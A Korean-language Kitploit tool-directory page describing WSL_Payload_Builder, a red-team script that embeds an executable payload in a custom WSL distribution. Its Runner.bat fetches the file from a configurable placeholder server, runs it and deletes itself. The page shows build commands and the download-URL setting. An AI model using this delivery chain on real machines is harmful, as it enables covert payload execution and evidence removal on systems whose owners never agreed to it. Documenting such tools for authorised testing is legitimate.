Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
WSL_Payload_Builder — 페이로드가 내장된 커스텀 WSL(Linux용 Windows 하위 시스템) 배포판을 생성하기 위한 강력한 셸 스크립트입니다. | Kitploit
도구/GitHubGitHub/m1ddl3w4r3/wsl_payload_builder
Payload GenerationPenetration TestingRed TeamingPayload Development
GitHubm1ddl3w4r3/wsl_payload_builder

WSL_Payload_Builder

페이로드가 내장된 커스텀 WSL(Linux용 Windows 하위 시스템) 배포판을 생성하기 위한 강력한 셸 스크립트입니다.

저장소 보기
7279개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

WSL 페이로드 빌더

면책 조항

이 도구는 합법적인 보안 연구 및 침투 테스트를 위해 제작되었습니다. 사용자는 자신이 소유하지 않았거나 테스트에 대한 명시적 허가를 받지 않은 시스템을 테스트하기 전에 적절한 권한을 확보할 책임이 있습니다.

개요

임베디드 페이로드가 포함된 최소한의 WSL(Windows Subsystem for Linux) 배포판을 생성하기 위한 셸 스크립트입니다. 이 도구는 실행 시 사용자 지정 페이로드를 실행할 수 있는 Alpine Linux 기반 WSL 배포판을 빌드하는 프로세스를 자동화합니다.

Build_WSL_Payload.sh 스크립트는 최신 Alpine Linux rootfs를 다운로드하고, WSL 사용에 맞게 사용자 지정하며, 사용자가 지정한 실행 파일을 포함시키고, 모든 것을 배포 가능한 .wsl 파일로 패키징합니다.

Runner.bat은 제공된 URL에서 WSL 구성 파일을 다운로드하여 실행합니다 (WSL이 설치되어 있지 않고 관리자 권한이 있는 경우 WSL을 설치합니다)

이는 침투 테스트, 보안 연구 및 사용자 지정 WSL 환경 생성에 특히 유용합니다.

사용법

페이로드 빌드 (Linux/macOS/Windows(WSL))

인자

  • -N, --name: WSL의 기본 배포판 이름을 지정합니다
  • -P, --payload: 페이로드 실행 파일의 경로를 지정합니다
  • -H, --help: 도움말 메뉴를 표시합니다

예시

root@kitploit:~
# Build a WSL distribution named "CalcWSL" with a custom payload
./Build_WSL_Payload.sh -N CalcWSL -P ./Calc.exe

페이로드 실행 (Windows)

기본 사용법

옵션 1. 더블 클릭 - WSL 파일을 더블 클릭하면 페이로드가 실행되지만 수동으로 닫아야 하는 cmd 프롬프트도 함께 열립니다. (권장하지 않음)

옵션 2. Runner.bat 파일 사용

root@kitploit:~
C:\Users\USER_NAME> .\Runner.bat

동작 방식

Runner.bat 스크립트는 자동으로 다음을 수행합니다:

  1. 다운로드 - 구성된 URL에서 WSL 페이로드 파일을 다운로드합니다
  2. 확인 - 시스템에 WSL이 이미 설치되어 있는지 확인합니다
  3. 설치 - WSL이 없는 경우 설치합니다 (관리자 권한 필요)
  4. 설치 - 다운로드한 WSL 배포판을 설치합니다
  5. 정리 - 실행 후 배포판과 자신을 제거하여 정리합니다

요구 사항

  • WSL을 지원하는 Windows 10/11
  • 관리자 권한 (WSL이 아직 설치되어 있지 않은 경우)
  • .bat 스크립트를 사용하는 경우 페이로드 파일을 다운로드하기 위한 인터넷 연결

구성

사용자 지정을 위해 Runner.bat 상단의 변수를 편집하세요:

root@kitploit:~
set "DOWNLOAD_URL=https://your-server.com/payload.wsl"
set "WSL_FILE=payload.log" # Still testing but can use most file extensions here. 

참고 자료

이 프로젝트는 dmcxblue/WSL-Payloads 저장소에 문서화된 연구 및 기법에서 영감을 받아 이를 기반으로 구축되었습니다. 이 저장소는 WSL 파일 형식 무기화 및 보안 연구에 대한 귀중한 통찰력을 제공합니다.

라이선스

MIT 라이선스

이에 따라 본 소프트웨어 및 관련 문서 파일(이하 "소프트웨어")의 사본을 얻은 모든 사람에게는 다음 조건에 따라 소프트웨어를 제한 없이 다룰 수 있는 권한이 무료로 부여됩니다. 여기에는 사용, 복사, 수정, 병합, 게시, 배포, 서브라이선스 및/또는 소프트웨어 사본 판매 권한과 소프트웨어가 제공된 사람에게 그러한 행위를 허용할 권한이 포함되며 이에 국한되지 않습니다:

위 저작권 고지 및 본 허가 고지는 소프트웨어의 모든 사본 또는 상당 부분에 포함되어야 합니다.

소프트웨어는 명시적이든 묵시적이든 어떠한 종류의 보증 없이 "있는 그대로" 제공되며, 상품성, 특정 목적에의 적합성 및 비침해성에 대한 보증은 이에 국한되지 않습니다. 어떠한 경우에도 저자 또는 저작권 보유자는 계약, 불법 행위 또는 기타 행위로 인해 소프트웨어 또는 소프트웨어의 사용 또는 기타 거래와 관련하여 발생하는 모든 청구, 손해 또는 기타 책임에 대해 책임을 지지 않습니다.

도구 다운로드